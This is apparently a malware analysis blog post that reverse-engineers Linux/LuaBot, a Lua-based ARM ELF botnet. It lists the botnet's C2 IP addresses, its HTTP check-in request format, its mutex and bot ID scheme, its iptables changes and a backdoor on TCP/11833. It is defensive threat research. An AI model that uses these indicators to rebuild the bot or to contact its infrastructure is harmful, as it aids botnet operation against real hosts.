MMD-0057-2016 – New ELF botnet: Linux/LuaBot

Background

On Mon, Aug 29, 2016 at 5:07 PM I received this ELF malware sample from a good person, with thank you very much! There wasn’t any details or comment what so ever just one cute little ELF binary with following detail:

arm_lsb: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, stripped
hash: a220940db4be6878e47b74403a8079a1

This is a cleanly GCC: (GNU) 5.3.x compiled ARM arch ELF binary:

ELF Header:
  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF32
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           ARM
  Version:                           0x1
  Entry point address:               0x11940
  Start of program headers:          52 (bytes into file)
  Start of section headers:          995912 (bytes into file)
  Flags:                             0x5000202, has entry point, Version5 EABI,

All of the sections and headers are all there:

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 1] .init             PROGBITS        000100b4 0000b4 00000c 00  AX  0   0  4
  [ 2] .text             PROGBITS        000100c0 0000c0 0d3bac 00  AX  0   0  8
  [ 3] .fini             PROGBITS        000e3c6c 0d3c6c 00000c 00  AX  0   0  4
  [ 4] .rodata           PROGBITS        000e3c78 0d3c78 00dde8 00   A  0   0  8
  [ 5] .ARM.exidx        ARM_EXIDX       000f1a60 0e1a60 000008 00  AL  2   0  4
  [ 6] .eh_frame         PROGBITS        000f1a68 0e1a68 000004 00   A  0   0  4
  [ 7] .init_array       INIT_ARRAY      00102000 0e2000 000004 00  WA  0   0  4
  [ 8] .fini_array       FINI_ARRAY      00102004 0e2004 000004 00  WA  0   0  4
  [ 9] .jcr              PROGBITS        00102008 0e2008 000004 00  WA  0   0  4
  [10] .data             PROGBITS        00102010 0e2010 011178 00  WA  0   0  8
  [11] .bss              NOBITS          00113188 0f3188 002850 00  WA  0   0  8
  [12] .comment          PROGBITS        00000000 0f3188 000011 01  MS  0   0  1
  [13] .ARM.attributes   ARM_ATTRIBUTES  00000000 0f3199 000031 00      0   0  1
  [14] .shstrtab         STRTAB          00000000 0f31ca 00007b 00      0   0  1

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  EXIDX          0x0e1a60 0x000f1a60 0x000f1a60 0x00008 0x00008 R   0x4
  LOAD           0x000000 0x00010000 0x00010000 0xe1a6c 0xe1a6c R E 0x10000
  LOAD           0x0e2000 0x00102000 0x00102000 0x11188 0x139d8 RW  0x10000
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x10

With a nice ARM attribute too:

Attribute Section: aeabi
File Attributes
  Tag_CPU_name: "ARM10TDMI"
  Tag_CPU_arch: v5T
  Tag_ARM_ISA_use: Yes
  Tag_THUMB_ISA_use: Thumb-1
  Tag_ABI_PCS_wchar_t: 4
  Tag_ABI_FP_rounding: Needed
  Tag_ABI_FP_denormal: Needed
  Tag_ABI_FP_exceptions: Needed
  Tag_ABI_FP_number_model: IEEE 754
  Tag_ABI_align_needed: 8-byte
  Tag_ABI_enum_size: int
  Tag_ABI_optimization_goals: Aggressive Size

The binary is signed with Sample Matrix RSA-4096 Certificate:

00E9897  |  ,Sample Matrix RSA-4096 Certificate Authorit
00E98CF  |  US1
00E98DC  |  WA1
00E98E9  |  Seattle1
00E98FB  |  INSIDE Secure Corporation1
00E991F  |  Test0
00E9927  |  140324164110Z
00E9936  |  170323164110Z0
00E9946  |  1+0)
00E9950  |  "Sample Matrix RSA-4096 Certificate1
00E997E  |  US1
00E998B  |  WA1
00E9998  |  Seattle1"0 
00E99AA  |  INSIDE Secure Corporation1
00E99CE  |  Test0

And it is having the libraries for encryption operation.

Well, a signed ELF binary with encryption is absolutely okay right? Unless .. if along with the that you see the binary is having the below hardcoded coder’s message:

It seems the sender of the sample was finding this malware already infected a system, since I figured the self-copied name on post infection is as per the sample name sent:

And this is why this “adventure” was started..

What is this ELF?

This is a new ELF botnet malware, coded in Lua language ( @$LuaVersion: Lua 5.3.0). It is the first time to find an lua language ELF compiled malware, so let’s call it as “Linux/LuaBot”.

Below is the summary for this verdict:

The lua language used details can be seen in these viewable .lua source files traced, along with the lua runtime libaries and some botnet commands used:

The botnet commands can be traced in these called functions:

The binary is still in undetected state as per I wrote this analysis:

At the time I reverse-engineered this ELF I made an announcement & awareness about this new threat:

But there are a lot of things in this malware that can not be explained on one picture. The following parts will explain about more details on the threat.

How Linux/LuaBot infects us

It will be a lie to say that I know how this malware firstly infected a Linux host. But by the ELF analysis I can explain how it works as per below:

After trying to increase limit on open files via setrlimit(RLIMIT_NOFILE, &foo), the malware during the startup will fork itself to two new processes. In some Linux system that is secured well, and if the malware is not getting the uid zero (root), the setrlimit() can’t be executed, and the coder forgot to avoid stderr(perror) for it. So if you see error message of “Setting RLIMIT_NOFILE failed, errno 1”.

Just right before forking is done, the malware will send you message:

"Hi. Mail me if u want: xxxxx@xxx.ru"

And then open the file socket bound to the mutex formed by:

bbot_mutex_203508

which 203508 is hard-coded mutex in this ELF (see screenshot of arm_lsb filename).

After the first forked process is started, the main process will be terminated. This new first process will assign a PID with gettid & setsid, and then fork() its process one more time to launch the malware main process. Noted the initial process will be dead this time. This process will be bound to the file socket with the mutex created previously and will sit there and launched wait() syscall, is practically a useless process for analysis.

The second forked process is the main activity of this malware:

 

• Checking the active (file) sockets in /proc/net/unix and network sockets /proc/net/tcp*
• Reading all processes & PID in /proc with getidents64
• Checking the current user privilege by getuid32, geteuid32, getgid32, getegid32
• checking the interface name and its IP via open() to /proc/net/route. opened check socket and ioctl()
• Assemble BotID & writing it on stdout:

  "Bot id is \t{IFACE-NAME}-{IPADDR}-{NUM}0123456:{MUTEX}" 
  

  with the lua script traces:

  0000 0000 2240 0000 2028 2564 2b29 2040  ...."@.. (%d+) @
  6262 6f74 5f6d 7574 6578 5f28 2564 2b29  bbot_mutex_(%d+)
  0000 0000 3100 0000 f000 0000 d101 0000  ....1...........
  

• The malware then run test_domain() lua function to load lookup domains:

  0x012b7390  0000 0000 726f 6375 676f 6f67 6c65 2e63  ........google.c
  0x012b73a0  6f6d 0034 343a 2063 3100 0000 3100 0000  om.44: c1...1...
  
  0x012b73c0  0000 0000 726d 6973 6661 6365 626f 6f6b  ........facebook
  0x012b73d0  2e63 6f6d 0000 0000 3100 0000 3100 0000  .com....1...1...
  
  0x012b73f0  0000 0000 c09e 0200 6261 6964 752e 636f  ........baidu.co
  0x012b7410  e073 2b01 0402 0000 c1c4 d41a 0a00 0000  .s+.............
  
  0x012b7420  0000 0000 c8af 2c01 616d 617a 6f6e 2e63  ......,.amazon.c
  0x012b7430  6f6d 0001 a076 2b01 c040 2b01 e040 2b01  om...v+..@+..@+.
  
  0x01296de0  0006 000c 0977 696b 6970 6564 6961 036f  .....wikipedia.o
  0x01296df0  7267 0000 0100 01c0 1600 0200 0100 02a3  rg..............
  

  which are google.com, facebook.com, baidu.com, amazon.com and wikipedia.org.

• The domains will be looked up to the below DNS servers:

  69.171.239.12 | a.ns.facebook.com. |32934 | 69.171.239.0/24 | FACEBOOK | US | facebook.com | Facebook Inc.
  192.12.94.30 | e.gtld-servers.net. |36629 | 192.12.94.0/24 | MGTLD | US | verisign.com | Verisign Global Registry Services
  198.41.0.4 | a.root-servers.net. |36625 | 198.41.0.0/24 | KGTLD | US | verisign-grs.net | VeriSign Infrastructure & Operations
  202.108.22.220|xd-22-220-a8.bta.net.cn.|4808 | 202.108.0.0/18 | CHINA169 | CN | chinaunicom.com | China Unicom Beijing Province Network
  204.74.108.1|pdns1.ultradns.net.|12008 | 204.74.108.0/24 | ULTRADNS | US | ultradns.com | UltraDNS Corp

• At this point the malware will connect to the CNC in 217.23.3.47 and send an HTTP/1.1 GET command. The connection was first connected by port TCP/

  connect(8, {sa_family=AF_INET, sin_port=htons(1085), sin_addr=inet_addr("217.23.3.47")}, 16)
  

  And followed by the HTTP request to port TCP/80:

  "GET /bot?bid=eth0-10.0.2.15-52540123456:203508 HTTP/1.1\r\n
  Connection: close\r\n
  Host: 217.23.3.47\r\n\r\n"
  

  The origin of this CNC:

  217.23.3.47|s4.mailuprising.com.|49981 | 217.23.0.0/20 | WORLDSTREAM | NL
  

  Also recorded this in PCAP with its encrypted form replies from 217.23.3.47
  

  The thing is maybe LuaBot coder doesn’t think reverser can decode this crypt, well..

  

• At this point data fetched is process (decrypted), this is when we can receive some “goodies”, like:

  

  To be beautified into:

  

  Hmm..these are all nodes belong to AS4998 from 109.236.80.0/20, 217.23.0.0/20 and 93.190.140.0/22 belong to a dedicated server hosting service WorldStream, the customer layer service IP, in Netherlands. It looks like these IP is reserved by the botnet coder for a purpose.

 

There is another interesting data found too, a botnet management protocol?

Theer are also some botnet monitoring status spotted:

cmdline
loadavg
meminfo
uptime
speed
ioports

Following the decoder trail a bit further, to find these info:

Which leads to the different IP info of:

185.14.30.214 | anna.me. |50673 | 185.14.28.0/22 | SERVERIUS | NL | itl.net.ua | ITL Company
46.22.211.46 |  |34702 | 46.22.208.0/20 | WAVECOM | EE | wavecom.ee | Aktsiaselts WaveCom
142.4.215.49 | 4.3.dedicated.sh. |16276 | 142.4.192.0/19 | OVH | FR | ovh.com | OVH Hosting Inc

So many network infrastructure is actually prepared by this botnet…

• The malware changes the setting of iptables (Linux firewall) by following method:

  

• And finally Linux/LuaBot is opening backdoor & listening inbound traffic in TCP/11833:

  bind(8, {sa_family=AF_INET, sin_port=htons(11833), sin_addr=inet_addr("0.0.0.0")}
  listen(8, 10240)
  

• The infected state of a linux box by the Linux/LuaBot is as per tested case:

  

  Noted, the UDP/41029 is outbound DNS request, is insignificant and can be changed.

 

CNC traffic and Lua coded botnet functions

I guess all of the related data for the CNC traffic already being explained much in the above section, so in this part I just paste the overall CNC traffic monitored during the initial infection of Linux/LuaBot, which hoping can be used as reference on the infection.

There are plenty trace of lua can be found in this tiny ARM ELF, but my favorite is the way this botnet is sending HTTP request to the remote sites, for the CNC purpose or proxy purpose. The stub contains IP are data that is parsed to the hardcoded lua XMLHttpRequest function. The reversing data shows below API in lua “pseudo function”. is used for the purpose:

Below are some nice catches that’s maybe worth to dig more 🙂

Let’s ping Sucuri team for this:

Epilogue

• There are new ELF malware coming up to our network, let’s be aware of our 24/7 running nodes.
• The traffic filtration for this threat is proposed to ET Labs friends, status will be updated.
• Lua is a good language, and using it for compiling ELF ARM binaries is good too, but the usage for making botnet is never good.Stay safe friends!
  

  #MalwareMustDie